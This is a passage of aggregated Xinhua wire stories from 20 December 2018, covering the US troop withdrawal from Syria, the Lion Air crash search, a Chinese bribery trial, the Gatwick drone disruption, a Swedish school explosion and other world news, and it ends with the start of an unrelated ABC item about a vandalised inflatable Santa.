transition to the next phase of this campaign," said White House Spokesperson Sarah Sanders in a statement on Wednesday morning, claiming that America has "defeated the territorial caliphate." The White House announcement caught many people off guard. "It's a surprise to me," Brookings Institution senior fellow Michael O'Hanlon told Xinhua. "I've never seen a decision like this since I've been here, 12 years, where nothing is communicated in advance. And all of a sudden this type of massive decision takes place," Bob Corker, chairman of the Senate Foreign Relations Committee, told U.S. media. "It's caught everybody off guard." But the decision did not come out of nowhere as U.S. President Donald Trump "always doubted the Syria mission even more," O'Hanlon noted. Over the past months, Trump has reiterated his intention of bringing American troops back from Syria, claiming that the costly U.S. military presence in the Middle East has brought "nothing, except death and destruction." However, the Pentagon and U.S. State Department officials have voiced concern on different occasions that a much longer-term effort was necessary to fully defeat the militant group of the IS. Brett McGurk, the U.S. envoy to the coalition fighting IS, said in a speech last week that "even as the end of the physical caliphate is clearly now coming into sight, the end of ISIS (IS) will be a much more long-term initiative." "Nobody is declaring a mission accomplished," McGurk said. MIXED RESPONSES Trump's decision to pull U.S. forces out of Syria has been questioned as well as hailed at home and abroad. Senior Republican Senator Lindsey Graham warned of "devastating consequences" for U.S. troops quitting Syria. "An American withdrawal at this time would be a big win for ISIS, Iran, Bashar al Assad of Syria, and Russia," the lawmaker from the state of South Carolina said in a statement on Wednesday. "Both the Trump and Obama Administrations in Syria went far beyond the congressionally authorized use of force to go after terrorists... I am pleased (Trump) is bringing our troops home," said Democratic Congressman Ted Lieu in a tweet. Russian Foreign Ministry Spokesman Maria Zakharova said on Wednesday that the U.S. decision creates good prospects for a political solution in that Arab country. "I strongly disagree. It has morphed into other forms of extremism and the threat is very much alive," tweeted British Defense Minister Tobias Ellwood, following Trump claiming U.S. victory over IS on Twitter. POWER PLAY CONTINUES After the announcement from the White House, whether there will be a full U.S. withdrawal from Syria has been questioned. Brookings Institution senior fellow Darrell West said he believes that special forces and air power likely will remain there to safeguard American interests. "Trump wants the public to see the Syria campaign as an American victory over ISIS. That will allow him to claim credit for a military gain," West told Xinhua. "But he (Trump) can't go too far with a withdrawal without providing a major opportunity for other countries to fill the void." The U.S. decision came as Turkey is planning to renew a military campaign against the Kurdish militia in eastern Euphrates, which has been relying on Washington in its operations against militants in the last IS-held pocket in the area. Kurdish leaders said on Wednesday if the United States pulled out from the region, it would be a stab in the back for the Kurdish groups, according to a report from a London-based watchdog. "If the U.S. trip wire is removed, the Turks, Syrian regime forces, their Iranian allies, the latter two backed by Russian airpower, will close in on the remaining territory held by the rebels and Syrian Kurds," Wayne White, former deputy director of the Middle East Intelligence Office at the State Department, told Xinhua. The Trump administration's decision has thrown its Syria policy into chaos and also called into question America's commitment to stabilizing Iraq and Afghanistan, observed Kori Schake, deputy director-general of the International Institute for Strategic Studies, in an article published in The Atlantic. "In the immediate future, all eyes will be on the details of the implementation of his (Trump's) decision as well as on the Turkish-Syrian border," said Bulent Aliriza, a senior associate at the Center for Strategic and International Studies, a Washington-based think tank. Source: Xinhua| 2018-12-20 20:07:42|Editor: xuxin Video Player Close JAKARTA, Dec. 20 (Xinhua) --- A ship equipped with sophisticated technology resumed search for the cockpit voice recorder and the remains of victims of a fatal flight of Lion air JT 6-10, investigator said here on Thursday. All 189 people on board were killed on Oct. 29 in the waters off western Indonesia. Divers have retrieved the flight data recorder of the brand new Boeing 737 Max 8 jet from the sea floor of Tanjung Karawang water off West Java province, where the aircraft plunged shortly after taking off. The recovery of the missing cockpit voice recorder is essential for determining what caused the crash, investigators from the national transport safety committee said. A MPV Everest ship operated by a Dutch firm, which is hired by Lion Air, kicked off the search on Thursday morning, said Haryo Satmiko, deputy chairman of the committee. "The MPV Everest arrived at the crash site on Wednesday night and resumed search this morning," he said. The mission is undertaken around the clock and will last for ten days. If the mission fails in finding the cockpit voice recorder, a further evaluation will be carried out, Satmiko added. The fuselage of the aircraft and the remains of 64 victims who have not been recovered would also be the targets of the mission, he said. The resumption was financed by Lion Air which had spent a 38 billion rupiah (some 2.6 million U.S. dollars) to pay the Dutch company following the request of the family members to continue search for remains of their loved ones. The preliminary report of the crash gleaned data from the flight data recorder unveiled that the pilots struggled to control the plane's anti-stalling system just before the plane plunged into the water. Source: Xinhua| 2018-12-20 20:17:43|Editor: Li Xia Video Player Close CHONGQING, Dec. 20 (Xinhua) -- Wang Xiaoguang, former vice governor of Guizhou Province, stood trial for taking bribes, embezzlement and insider trading at a court in Chongqing Municipality Thursday. Wang was accused of using his positions to seek benefits for others in shareholding transfer, obtaining projects and project funds, and personnel promotions, and in return accepting money and property worth over 48.7 million yuan (7.1 million U.S. dollars) personally or through his family members between 1998 and 2017. When he served as head of Wudang District of Guiyang City in Guizhou between 1999 and 2000, Wang illegally gained 5 million yuan in land compensation, said the prosecutors in Chongqing. According to the indictment, Wang obtained inside information on securities via illegal means and conducted trading of relevant stocks personally or instructing his relatives to do so, gaining about 160 million yuan from August 2009 to February 2016. In his final statement, Wang pleaded guilty and expressed remorse. The trial was attended by more than 70 people including legislators, press and members of the public. The verdict will be announced at a later date. Source: Xinhua| 2018-12-20 20:17:43|Editor: yan Video Player Close File photo taken in 1990 shows an advertising board of Shanghai Volkswagen in Shanghai, east China. (Xinhua/Xia Daoling) by Xinhua writer Jin Jing LONDON/PARIS/BERLIN, Dec. 20 (Xinhua) -- At the exquisite Maxim's restaurant near Place de la Concorde in Paris, Zheng Siti, chief representative of Maxim's De Paris in China showed an old picture of a dashing Western foreigner walking on a street of Beijing with both hands in his coat pockets, drawing all the attention of the Chinese nearby. It was in 1978 when French fashion icon Pierre Cardin visited China for the first time, the same year China kicked off reform and opening-up. Most Chinese then saw fashion and the Western culture in general defiantly as a bourgeois lifestyle, though with an abundance of curiosity, Zheng recalled. Forty years on, Europe sees China rising from a largely destitute and isolated country to the world's second largest economy pursuing an increasingly open and inclusive development. In a changing world marked by uncertainties, China and Europe are embracing more opportunities for cooperation. A TASTE OF OUTSIDE WORLD The first-ever fashion show in China was thrown in 1979 by Cardin in the Cultural Palace of Nationalities in central Beijing. The contrast between the high-heeled golden-hair models and the strictly limited size of the audience in grey blue uniforms holding their breath could not be starker. Cardin, however, having seen the huge potential in the just-opened Chinese market, not only brought his fashion business to China, but also decided to open a Maxim's restaurant in Beijing in 1983, two years after he bought the renowned French restaurant. Investing 3.5 million U.S. dollars in the Beijing restaurant when ordinary Chinese earned no more than 10 dollars a month, Cardin's move was seen as a "commercial suicide." "Cardin has an unparalleled long-term vision. He sees the Chinese as a hard-working people and the change of China inevitable," Zheng said. The opening of the Maxim's restaurant in Beijing marked the start of China's embrace of the Western culture, causing a public sensation and hitting headlines on China's state television. The success of the restaurant was followed by the opening of the first KFC restaurant in Beijing in 1987, which has expanded to more than 5,000 outlets in China in 30 years. For a long time, the Beijing Marxim's restaurant was dubbed "the second French embassy," a high-end meeting venue for politicians, dignitaries and artists. Now with a steadily expanding middle class as China lifted 740 million people out of poverty in four decades, the Beijing Maxim's restaurant has turned into a chic public dining place amid a hugely diverse and internationalized culture in Beijing. The Chinese consumers are more willing to open their wallets and embrace the world as the average personal disposable income rose from just 171 RMB (about 25 U.S. dollars) to 26,000 RMB (about 3,768 dollars) each year. Pierre Cardin, due to his early devotion to the Chinese market, has become one of the most recognizable fashion names in China that contributed to the changing face of the Chinese society. RIDING ON CHINA'S RISE Perhaps there is no other industries like the car industry that could better illustrate how far China has achieved in lifting people's living standards while offering a ride to foreign companies. Since 1978, foreign-brand cars have been running on Chinese streets. Zhang Suixin, executive vice president of Volkswagen Group China, witnessed the transformation of China from a "kingdom of bicycles" to the world's largest car market with annual sales hitting more than 28 million. Volkswagen was one of the first foreign brands that established links with China when a Chinese delegation visited Germany in 1978. Back then, China only had two domestic car makers, namely, SAIC and Hongqi (a homegrown luxury brand which literally means "red flag") with a combined annual output of some 1,100 vehicles, Zhang recalled. In four decades, China's GDP increased from 367.9 billion RMB (53.3 billion dollars) to 82.7 trillion RMB (11.99 trillion dollars) in 2017, an average growth of 9.5 percent compared with 2.9 percent of the global economic growth in the same period. For many years, China has contributed more than 30 percent to the global economic growth. The SAIC Volkswagen, the Sino-German joint venture formed in 1985, has grown into an auto giant with an annual production of 2 million cars. China is Volkswagen's biggest single market in the world, accounting for 40 percent of its global sales. "It was beyond imagination back in 1978," said Zhang, who was a college student then and joined Volkswagen in 1990. Latest official figure shows that there are more than 40 cars for every 100 Chinese families and the number of total private cars in China has hit more than 180 million. Meanwhile, China's car industry has become increasingly competitive and innovative with the rapid growth of electric cars and intelligent networking, Zhang said. INNOVATION SHAPES THE FUTURE At St. James Palace at the heart of London, three Chinese innovation start-ups thrilled Britain's Prince Andrew and over 300 business leaders and investors in a high-end global competition, triggering cheers and applause in the bleak winter. The Pitch@Palace, an initiative founded by Prince Andrew in 2014 to support entrepreneurs with innovative ideas, selected 23 entrepreneurs from hundreds of participants in 15 countries for its global final. Three Chinese start-ups entering the Pitch@Palace global final were YI Tunnel, one of the first companies in the world to use artificial intelligence (AI) in the retail sector; Pony AI, designer of first self-driving fleet operating on China's open city streets; and China Craftsmanship, which combines Chinese traditional craftsmanship with online data collection to create a fresh business model. "China has got just as much innovation as anywhere else," Prince Andrew told Xinhua. "We have seen some extraordinary good businesses coming out of China and the three that you have had here are just outstanding," Prince Andrew said. Prince Andrew first visited China as Britain's special representative for trade and investment in 2004 and has visited the country several times since then. "It wasn't until I suppose I had visited about two or three times that I began to see the innovation that was going on in China. And since then it's just got bigger and bigger, and more and more," the Duke of York said. According to an annual report by the Geneva-based World Intellectual Property Organization (WIPO), China recorded the highest IP application volume in the world in 2017. China, whose Global Innovation Index (GII) ranking has risen from the 22th in 2017 to the 17th this year, has become the first middle-income nation on the list of the world's 20 most innovative economies. "Increasingly, the one the rest of the world will pay attention to is not the factory-and-warehouse-floor aspect of China, but the new entrepreneur-driven China that is poised to reshape at least some facets of our common global technology future -- with growing strength in fields ranging from artificial intelligence to genomics to drones," said Christina Larson, an award-winning science journalist. A CONTINUOUS JOURNEY In the past four decades, China has been rolling out a spate of measures in its reform and opening-up drive, from establishing special economic zones to further opening up inland regions, from joining the World Trade Organization to establishing free trade pilot zones. Zhang of Volkswagen foresees the Chinese market will provide even more opportunities for Europe. U.S. electric carmaker Tesla Inc. has announced the set-up of its first overseas plant in Shanghai, becoming the first to benefit from a new policy that allows foreign carmakers to set up wholly-owned subsidiaries in China. The Europeans are expected to follow suit. Korbinian Wagner, spokesman of German Federal Ministry for Economic Affairs and Energy, welcomes China's move to further open up its market. Germany is "very interested in furthering mutual economic relations" with China, he told Xinhua. In his latest visit to China in November, Prince Andrew led a British delegation to Shanghai to participate in the first China International Import Expo (CIIE). For him, the pace of cooperation between China and Britain will intensify as China further opens up and upgrades its traditional industries. "I think there are all sorts of opportunities that we thus far haven't found," said Prince Andrew. As the Duke of York pointed out, it is important for Westerners to better understand China as it embarks on a new course of development. "It takes a lifetime to learn China," said Prince Andrew. "I am on that journey." (Xinhua reporters Zhai Wei in Brussels, Gu Zhenqiu, Zhang Dailei, Zhang Jiawei in London, Qiao Jihong, Zhu Sheng, Lian Zhen in Berlin, Xu Tian in Paris contributed to the story.) (Video reporters: Zhu Cheng, Lian Zhen, Qiao Jihong, Xu Tian, Liang Xizhi, Jin Jing, Zhang Dailei, Zhang Jiawei; Video editors: Luo Hui, Geng Linlin) Source: Xinhua| 2018-12-20 20:22:44|Editor: xuxin Video Player Close LONDON, Dec. 20 (Xinhua) -- British Opposition leader Jeremy Corbyn came under fire on Thursday, one day after he allegedly called Prime Minister Theresa May a "stupid woman" at the parliament. British media and the Conservative Party accused Corbyn of sexism after the opposition leader was caught on camera muttering a response to the prime minister's words. Media footage showed that Corbyn was mouthing the words. But Corbyn said he was opposed to the use of sexist and misogynist language in any form and insisted he had actually said "stupid people." The Times on Thursday reported that lip readers challenged his insistence that he had not used the words. Corbyn was asked to make a statement to MPs after the Tories called him to apologize for the alleged insult. Commons Speaker John Bercow said he had not seen the alleged incident and all MPs had to be taken at their word. But Conservative MPs said they did not believe Corbyn's explanation and repeated calls for an apology from him. Source: Xinhua| 2018-12-20 20:22:44|Editor: Li Xia Video Player Close SOFIA, Dec. 20 (Xinhua) -- Bulgarian President Rumen Radev here on Thursday awarded the highest state honor, the Order of the Stara Planina, First Class, to the Chinese Ambassador to Bulgaria Zhang Haizhou. "I believe that this high honor is an expression of the appreciation of all of us for the efforts of Ambassador Zhang and his team to deepen and expand our cooperation," Radev said at the award ceremony. This award was also an expression of the great importance that Bulgaria attached to the relations and cooperation with the People's Republic of China, Radev said. This year was extremely productive, with events such as the visit of Chinese Premier Li Keqiang to Bulgaria, and the hosting of the China-Central and Eastern European Countries (CEEC) Summit and the subsequent meeting of local leaders from China and CEEC only a few months later, Radev said. In addition to these high-level meetings, many other events were organized and agreements have been reached in areas of economy, trade, energy, healthcare, agriculture, culture, tourism and education, Radev said. For his part, the Chinese ambassador said "My two-and-a-half year mandate was not that long, but I deeply felt the good attitude of the Bulgarian people towards the Chinese, which is a solid basis for bilateral co-operation." A number of important events of historical significance for Sino-Bulgarian friendly relations and cooperation occurred in 2018, Zhang said. Meanwhile, bilateral trade has increased by more than 20 percent, and the practical cooperation in fields such as finance, environmental protection, energy, agriculture, tourism, culture and education achieved many tangible results, Zhang also said. Source: Xinhua| 2018-12-20 20:27:45|Editor: xuxin Video Player Close BERLIN,Dec. 20 (Xinhua) -- Due to a bomb threat, a shopping arcade and a Christmas market have been cleared in German city Heide. The threat came on Thursday morning via e-mail, local media, Focus online, cited a police spokesman as saying. About 30 police officers closed the shopping area and also cleared the adjacent Christmas market. Police launched investigation into the sender of the mail. Focus online said, in recent days, bomb threats have kept local task forces in the state of Schleswig-Holstein busy. In Flensburg, Lubeck and Itzehoe, some buildings have been evacuated, without any suspicious objects being found. The police will check if there is a connection between these acts, local media said. Source: Xinhua| 2018-12-20 20:27:45|Editor: xuxin Video Player Close LONDON, Dec. 20 (Xinhua) -- A drone attack at one of the Britain's busiest airports has left tens of thousands of passengers stranded before Christmas holiday, local media said Thursday. London Gatwick's runway has been shut since Wednesday night, when two devices were seen flying over the perimeter fence. Local police said the incident was not terror-related. The airport said 110,000 passengers on 760 flights were due to fly on Thursday. Police were still hunting for the drone operator after another device was reported Thursday morning. The shutdown, which started Wednesday night, came as two drones were spotted flying over the perimeter fence and into where the runway operates from. The runway briefly reopened at early Thursday but was closed again amid a further sighting of drones, media said. Source: Xinhua| 2018-12-20 20:27:45|Editor: Li Xia Video Player Close BEIJING, Dec. 20 (Xinhua) -- A Chinese foreign ministry spokesperson said Thursday that China and Germany have the responsibility to jointly safeguard free trade and multilateralism and avoid sending a negative signal that could affect investment environment and market confidence. Foreign Ministry Spokesperson Hua Chunying made the remarks after Germany tightened rules on foreign investment in some sectors on Wednesday, adjusting the threshold for starting state security reviews of share purchases by non-EU investors to 10 percent of company shares in sectors such as critical infrastructures as well as defense-relevant and high-tech companies. "While it is understandable to conduct necessary security scrutiny, it should not become a tool for advancing protectionism and creating new invisible barriers," Hua said at a daily press briefing, also expressing opposition to discriminatory practices. She called on the two countries to expand two-way opening-up so as to inject positive energy into bilateral high-level cooperation of mutual benefits and safeguard an open world economy. Source: Xinhua| 2018-12-20 20:42:49|Editor: xuxin Video Player Close JERUSALEM, Dec. 20 (Xinhua) -- Israeli Prime Minister Benjamin Netanyahu warned Thursday that Israel will increase its actions against Iran's efforts to establish a military foothold in Syria, a day after the United States said it started to pull out from Syria. "We will continue to act very aggressively against Iran's attempts to establish itself in Syria," Netanyahu said during a trilateral summit with his Greek and Cypriot counterparts in Israel. Netanyahu said that Israel will not accept Iranian forces on the territory of its northern neighbor. He added that Israel has the backing of the White House in its actions against the Islamic republic of Iran. The remarks came a day after U.S. President Donald Trump said in a video on Twitter that the U.S. had defeated the Islamic State and started to withdraw its forces from the war-torn country. The move was widely criticized in Israel and seen as an embarrassment to Netanyahu's foreign policy, in which his close relationship with Trump plays a central role. Yair Lapid, leader of the opposition Yesh Atid party and Israel's former finance minister, tweeted "the surrender of the Americans from Syria is a failure of Netanyahu's foreign policy. It clears the way for Iran's expansion and narrows Israel's ability to bargain with the Russians." Ehud Barak, Israel's former prime minister, said the move exposed Netanyahu's dependence on his ties with the U.S. and Russian leaders. "Trump is deserting Syria and the Iranians are celebrating," Barak tweeted, saying that "only Israel is responsible for its own future and fate." Netanyahu said in a video statement on Wednesday that Israel needs to study the decision, noting that the White House had told him in advance about Trump's intention to withdraw forces from Syria. "They made it clear that they have other ways of expressing their influence in the area," he said. Israel and Syria share a disputed border in the Golan Heights, which Israel seized in the 1967 Middle East war and annexed in a move never recognized internationally. The Israeli military has carried out dozens of air attacks in recent years against Iranian and Syrian army positions in Syria, in addition to weapons convoyed for Hezbollah, a Lebanese Shiite militia. Israel and the United States charge Iran's presence in Syria as a threat to Israel. Source: Xinhua| 2018-12-20 20:47:51|Editor: xuxin Video Player Close STOCKHOLM, Dec. 20 (Xinhua) -- Over 1,000 students were evacuated from the secondary school in Hassleholm, southern Sweden following an explosion on Thursday morning, Swedish Television SVT reported. Police and emergency services were alerted when the explosion occurred and a man in his 20s with connections to the school was arrested on site, suspected of creating the explosivess. He is yet to be interrogated. "We dispatched in response to a fire alarm and when we got there we were told that there had been an explosion," said Per Cederholm, local police district manager in Hassleholm. "There was a loud bang, all students were evacuated and are now safe with staff from the school," Eva Andersson, head of Education for Children and Education in Hassleholm, told SVT. No one has been reported injured, and as yet police are unable to comment on the type of explosives or the extent of the damage. The National Bomb Guard is on site to secure evidence and ensure there are no additional explosives at the school. Local police are treating the incident as a terrorist offense. "Being in a public place, we believe the explosion charges were intended to harm other people," says Cederholm. Andersson told SVT that as far as she knew, no threats had been made against the school. "That someone wants to cause destruction or put our students in some form of danger feels terrible." An investigation into the attack is underway and will cover the school grounds as well as the suspect's registered residence. The Swedish Security Service (Sapo) is assisting. Source: Xinhua| 2018-12-20 21:43:08|Editor: xuxin Video Player Close ULAN BATOR, Dec. 20 (Xinhua) -- The Mongolian government on Thursday signed agreements with the Asian Development Bank (ADB) on 76 million U.S. dollars in loans mainly to transform the shanty towns in the capital. The funds will also be used to build wastewater treatment plants in the capitals of five provinces of the landlocked East Asian country as well as to strengthen national measures to prevent and respond to domestic violence. The deals were signed here by Mongolian Finance Minister Khurelbaatar Chimed and ADB country director for Mongolia, Yolanda Fernandez Lommen. Of the loan agreements, the first grant of 53 million dollars is earmarked for improving the living conditions in the ger districts or shanty towns in Ulan Bator, by building 10,000 homes in 20 new environmentally friendly districts, with good services, green spaces, shops and job opportunities. "A third of the Mongolian population of 3.2 million live in the ger districts and suffer from poor sanitation, inadequate solid waste management, and limited water supply, which pose health and environmental hazards," Lommen said, adding the project will provide sustainable and comprehensive solutions to transform ger districts into affordable, low-carbon, and livable eco-friendly areas. In the country's first single project to address domestic violence, 3 million dollars in funds will be directed at strengthening the nationwide prevention and response to domestic violence against women and children, a critical issue in the country with serious social and economic implications. "The national study revealed that women aged between 25 and 49 experienced the highest rates of domestic violence resulting in loss of work days and income in addition to physical and psychological damage," said Lommen. The country director added that the project, financed by the Japan Fund for Poverty Reduction, aims to build shelters in three provinces and two districts, develop institutional capacity, and empower the victims economically. In the third loan agreement, 20 million dollars will be used to help expand the existing wastewater treatment projects to an additional five provincial locations in Mongolia. The towns are Baruun-Urt, Bulgan, Chinggis, Mandalgovi and Murun, which have a total local population of 115,000. The planned new wastewater treatment facilities each with a daily operating capacity of 3,000 cubic meters will replace outdated, inefficient treatment systems that are inadequate for the extreme climate in Mongolia, the ADB said. The bank will also invest in vacuum evacuation trucks to improve the sanitation in ger districts and prevent underground and surface water pollution. This project is expected to be completed by the end of 2021. Mongolia joined the ADB in 1991, and the bank has since provided assistance worth a total of 2.4 billion dollars to the government of Mongolia, Lommen said. Source: Xinhua| 2018-12-20 22:08:14|Editor: Yamei Video Player Close Li Baodong, secretary general of Boao Forum for Asia (BFA), addresses the China-Vietnam Economic Cooperation Promotion Forum held in Hanoi, Vietnam, Dec. 20, 2018. Boao Forum for Asia held here on Thursday the China-Vietnam Economic Cooperation Promotion Forum, attracting nearly 500 government officials and entrepreneurs from both countries. (Xinhua/Wang Di) HANOI, Dec. 20 (Xinhua) -- Boao Forum for Asia held here on Thursday the China-Vietnam Economic Cooperation Promotion Forum, attracting nearly 500 government officials and entrepreneurs from both countries. Addressing the forum, Li Baodong, secretary general of Boao Forum for Asia (BFA), said BFA has always been committed to promoting China's deepening of bilateral and multilateral pragmatic economic and trade cooperation with Asian countries. "At the first China International Import Expo held last month, many Vietnamese products were favored by Chinese people, " said Li, adding that many well-known Chinese companies participating in the forum here are also members of BFA. They have invested in Vietnam for years and have been recognized by all walks of life in the country. Li said BFA is willing to help China and Vietnam accelerate synergy between development strategies, strengthen inter-connectivity and economic and trade cooperation within the frameworks of China's Belt and Road Initiative and the Two Corridors and One Economic Circle Plan of Vietnam. In his speech, Vietnamese Deputy Minister of Foreign Affairs Le Hoai Trung said the one-day forum attracted hundreds of delegates, fully demonstrating that Vietnam and China and other countries have paid great attention to the future economic and trade cooperation. Addressing the forum in Hanoi, Xiong Bo, Chinese Ambassador to Vietnam, said both China and Vietnam are determined to achieve new development goals through deepening reform and opening up. The forum in Hanoi reflects the support for promoting the China-Vietnam economic cooperation, said the Chinese ambassador. Source: Xinhua| 2018-12-20 22:13:15|Editor: xuxin Video Player Close TEHRAN, Dec. 20 (Xinhua) -- Iran's Foreign Ministry on Thursday denounced as "unacceptable" the Albanian government's expulsion of two Iranian diplomats from the country. Albania's decision was made under the United States and Israel's sway "on the basis of unfounded allegations," Iran's Foreign Ministry Spokesman Bahram Qasemi said in a statement posted on the ministry's website. "This behavior by the Albanian government, which is unjustifiable and lacks any logical basis, was completely based on false and fabricated information provided by some security services," Qasemi said. "It is regrettable that those who piece together scenarios against Iran have, this time, directed their evil schemes at Albania, which has always enjoyed good relations with Iran," he said. On Wednesday, Albania's Foreign Ministry said that it expelled two Iranian diplomats for allegedly "harming its national security." Source: Xinhua| 2018-12-20 22:18:22|Editor: Li Xia Video Player Close MANILA, Dec. 20 (Xinhua) -- Nearly 1.06 million Chinese tourists visited the Philippines in the first 10 months of this year, making China the Philippines' second largest source market of foreign tourists, government data showed on Thursday. The Philippine Department of Tourism (DOT) said in a report that Chinese tourists arrivals from January to October 2018 accounted for 18.02 percent of the total foreign tourists that visited this archipelagic country. DOT data showed that only 810,807 Chinese tourists visited the Philippines from January to October 2017. From January to October of this year, the report said that around 5.82 million international tourists visited the Philippines. The DOT said South Korean nationals ranked the first in the number of tourist arrivals in the country from January to October with 1.29 million or 22.04 percent of the total arrivals. The United States came third with 850,735 tourist arrivals from January to October 2018 followed by Japan 530,228 arrivals. Tourism has now become one of the most critical support industries of the Philippines, and it is one of the sectors that has benefitted with Philippines' renewed relationship with China. A growing Chinese tourist arrival was noted for the past three years. From 490,000 in 2015 and 675,000 Chinese tourists in 2016, the number posted a significant increase in 2017 with 968,000 tourist arrivals. The Philippines' target for 2018 is to bring in 1.5 million tourists from China. Source: Xinhua| 2018-12-20 22:18:23|Editor: xuxin Video Player Close Tokyo, Dec. 20 (Xinhua) -- Japan Airlines (JAL) said Thursday that one of its flight attendants, despite her denial of drinking any alcohol before duty, failed to pass a breathalyzer test with a high level of alcohol earlier this week, Kyodo News reported Thursday. Before boarding a flight from Narita airport to Honolulu on Monday, the 46-year-old female attendant took a test and no alcohol had been detected. However, two other cabin crew noticed the smell of alcohol in her breath and had her take another test, which revealed 0.15 milligram of alcohol in her breath, exceeding JAL's set limit of 0.10 mg, according to the airline. The flight attendant denied to recognize the test result, saying that she had not drunk any alcohol since Friday, JAL said, adding that she repeatedly used mouthwash during the flight. The airline said it will continue its investigation into the matter. JAL has been caught up in a series of drinking scandals involving its pilots. A JAL co-pilot, who exceeded the British alcohol limit by around 10 times prior to a flight in October, was arrested in London and sentenced to 10 months in prison late last month. The airline said after the London incident that it plans to introduce breathalyzer tests for the flight attendants as well. Source: Xinhua| 2018-12-20 22:18:24|Editor: xuxin Video Player Close HARARE, Dec. 20 (Xinhua) -- Reserve Bank of Zimbabwe (RBZ) governor John Mangudya on Thursday urged citizens not to panic, saying the country has enough fuel for the festive season. He told the parliamentary portfolio committee on energy that the central bank had put in place financing facilities worth 197.2 million U.S. dollars for importation of the commodity that is currently in short supply due to ongoing foreign currency shortages. "We have put in place a number of long-term financing facilities to ensure that Zimbabwe's supply of fuel is stable and sustainable," the governor said. "We are here to assure you that the facilities that we have put in place are continuous and we are going to continue having fuel being delivered to the service stations," he said. He said the country's fuel consumption had drastically increased during the year due to increased number of vehicles in the country, particularly in the capital Harare. "What we are seeing is that demand for fuel has gone up significantly. The number of vehicles on our roads has increased and we have got vehicles in the range of between 1.6-1.8 million vehicles on our roads, an increase of about 50 percent a year ago," he said. He said the increase in the vehicles was being shown by the traffic jams that have become a common feature on the country's roads, particularly in Harare. "There are now traffic jams on our roads, wherever you drive. That shows us that the fuel situation is not as bad as it is shown by the queues because if the situation is so acute we would not have such traffic jams at the same time we have fuel queues," he said. He said the fuel shortages were a passing phase. Zimbabwe consumes 4 million liters of diesel and 3 million liters of petrol per day, the governor said, adding the country had imported 1.146 billion dollars worth of fuel since January 2018. Source: Xinhua| 2018-12-20 22:23:25|Editor: xuxin Video Player Close ADDIS ABABA, Dec. 20 (Xinhua) -- Ethnic clashes in Ethiopia's northern Amhara regional state have left seven people dead, an Ethiopian official said on Thursday. In a press statement, Bantihun Mekonen, Deputy Chief Administrator of Central Gonder zone of Amhara regional state, said the ethnic clashes were between ethnic Amhara and minority ethnic Qimant communities. Mekonen said the clashes, which occurred between Dec. 5 to Dec. 8, also resulted in the burning of 480 houses and displacement of scores of people. He further said the ethnic clashes were stopped by the intervention of local and federal security forces. In recent months, parts of Amhara regional state have been scenes of deadly clashes between the majority Amhara ethnic group and Qimant activists that have left several people dead and thousands of people displaced. Qimants are an ethnic monitory group living in the northwestern corner of Amhara regional state. In recent years Qimant activists have been campaigning to have their own autonomous region within Amhara regional state. Source: Xinhua| 2018-12-20 22:38:28|Editor: yan Video Player Close BUCHAREST, Dec. 20 (Xinhua) -- Romania's coalition government, led by Social Democrat Prime Minister Viorica Dancila, survived a no-confidence vote on Thursday, the second one in a year submitted by right-wing oppositions. The vote was rejected at a joint plenary session of the Chamber of Deputies and the Senate, as it garnered only 161 votes in favor, far from the required minimum of 233 votes, half plus one in the 465-seat parliament. MPs of the two governing parties, the Social Democratic Party and the Alliance of Liberals and Democrats, as well as those of the opposition Hungarian Democratic Union of Romania, attended the session, but did not cast a vote. The motion called "Enough! The Dragnea-Dancila Government, Romania's shame!" was initiated last week by the National Liberal Party, the Save Romania Union and the People's Movement Party. "The favourable vote for the censure motion isn't a vote for the initiators or one based on political colours! It is a vote for Romania, for saving the country from the claws of thieves and incompetents, who are draining it of resources and are impoverishing the population," said the no-confidence motion signed by the 163 MPs of the three right-wing oppositions. Opposition MPs also reproached the cabinet led by Dancila that all commitments in the government program were postponed after 2021. The prime minister said earlier that she was not afraid of the motion, as there was a parliamentary majority and she trusted her party fellows. So far, the Romanian Parliament has brought down three governments through a no-confidence motion in 2009, 2012 and 2017, respectively. The cabinet led by Dancila took office on Jan. 29 and survived a motion of no-confidence on June 27. Source: Xinhua| 2018-12-20 22:43:28|Editor: Chengcheng Video Player Close Turkish President Recep Tayyip Erdogan (R) and his Iranian counterpart Hassan Rouhani attend a joint press conference at the Presidential Palace in Ankara, Turkey, on Dec. 20, 2018. (Xinhua/Qin Yanyang) ANKARA, Dec. 20 (Xinhua) -- Turkey will continue to stand by Iran despite the "unjust" sanctions that the U.S. imposed on the country, Turkish President Recep Tayyip Erdogan said on Thursday. Erdogan made the remarks at a joint press conference with his Iranian counterpart Hassan Rouhani in the capital Ankara. "Turkey does not support the U.S. sanctions which put regional stability and security into danger," Erdogan said. He vowed that Turkey and Iran will join their efforts to end clashes and ensure regional security. According to Erdogan, the two countries aimed to increase bilateral trade volume of 30 billion U.S. dollars from the current 11 billion dollars. Rouhani said that Tehran will work with Ankara on protecting Syria's territorial integrity. Iran, Turkey and Russia will continue with the Astana talks on Syria's future, he said, adding that the next summit will be held in Russia. Erdogan and Rouhani chaired the 5th Meeting of the Turkey-Iran High Level Cooperation Council in Ankara on Thursday. Source: Xinhua| 2018-12-20 22:48:29|Editor: Chengcheng Video Player Close Turkish President Recep Tayyip Erdogan (L) and his Iranian counterpart Hassan Rouhani review a guard of honor during a welcoming ceremony at the Presidential Palace in Ankara, Turkey, on Dec. 20, 2018. (Xinhua/Mustafa Kaya) TEHRAN, Dec. 20 (Xinhua) -- Iran and Turkey agreed on Thursday to step up their economic cooperation with the aim of reaching 30 billion U.S. dollars annually, Press TV reported. The agreement was reached at the 5th Meeting of High Council for Iran-Turkey Strategic Cooperation in Ankara chaired by Iranian President Hassan Rouhani and his Turkish counterpart Recep Tayyip Erdogan. Iran's trade with Turkey stood at 10.75 billion U.S. dollars in 2017, registering an increase of 11.24 percent compared with 2016. Rouhani and Erdogan also voiced concerns over the re-imposition of sanctions by the United States against the Islamic republic, a move which could affect the entire region's economy. Rouhani arrived in Ankara on Thursday for a two-day visit and talks with senior Turkish officials on bilateral economic relations as well as Syrian peace process that Iran and Turkey, along with Russia, have been brokering since January 2017. iStock/elenaleonova(BETHANY, Oregon) -- A black couple who decorates their house every year for the holidays recently found their inflatable black Santa Claus destroyed not even a day after they put it up in their front yard. Belinda and Fritz Richard woke up on the morning of Dec. 13 to find the 8-foot-tall inflatable Claus slashed in their front yard in the small town of Bethany, Oregon, just outside of Portland. Fritz Richard told ABC News that he had just installed the inflatable the night before, and that he assumed it had gone down because of an issue with the power source. However, after closer inspection, he discovered multiple punctures and a slash across the inflatables chest area. He said the vandalism made him believe it was a hate crime. It felt like a hate crime, Fritz Richard told ABC News, adding that 